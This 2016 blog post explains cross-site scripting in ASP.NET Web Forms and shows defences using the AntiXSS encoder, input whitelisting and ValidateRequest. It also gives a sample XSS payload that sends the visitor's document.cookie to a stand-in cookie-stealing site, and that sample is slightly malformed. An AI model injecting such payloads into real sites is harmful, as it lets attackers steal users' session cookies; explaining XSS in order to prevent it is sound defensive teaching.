Friday 11 November 2016

Prevent XSS Scripting in ASP.Net Web Forms

Hey Folks , Today I am going to start the series of Security blogging starting with XSS Vulnerability.

XSS is a popular attack for web sites where the attacker can exploit non-sanitized untrusted data inputs by the user. The untrusted data means the data cannot be controlled by the apply the applications it self. If we take following example :

http://mysite/search.aspx?name=mysearch

the term mysearch is un trusted because its is a user input. This is the place where an attacker can exploit the site by inputting  malicious Java script , html or even css. If not sanitized an attacker can easily steal cookies or other DOM elements from the browser and redirect them to any other site.

Following is an example to redirect a cookie into a malicious site.

<script>location.href='http://mycookirstealsite/steal.html'?cookie='%2Bdocument.cookie;'</script>

Preventing this is faily easy when it comes to the ASP.Net web forms. We can use the nugest package "antixss". Just add the package to your project and sanitize input as follows.

  <script type="text/javascript">
    var mysearch = <%= Microsoft.Security.Application.Encoder.JavaScriptEncode(Request.QueryString["mysearch"]) %>
  </script>

For the html encoding we can use the System.Web.Security.AntiXss in the code behind.

 
var searchTerm = Request.Unvalidated.QueryString["mysearch"];
      if (!Regex.IsMatch(searchTerm, @"^[\p{L} \.\-]+$"))
      {
        throw new ApplicationException("Search term is not allowed");
      }

      SearchTerm.Text = AntiXssEncoder.HtmlEncode(searchTerm, true);

The other setting we can use is set the ValidateRequest attribute in the web.config to true. OR else we can use this in the page level as well in the @Page attribute.

No comments:

Post a Comment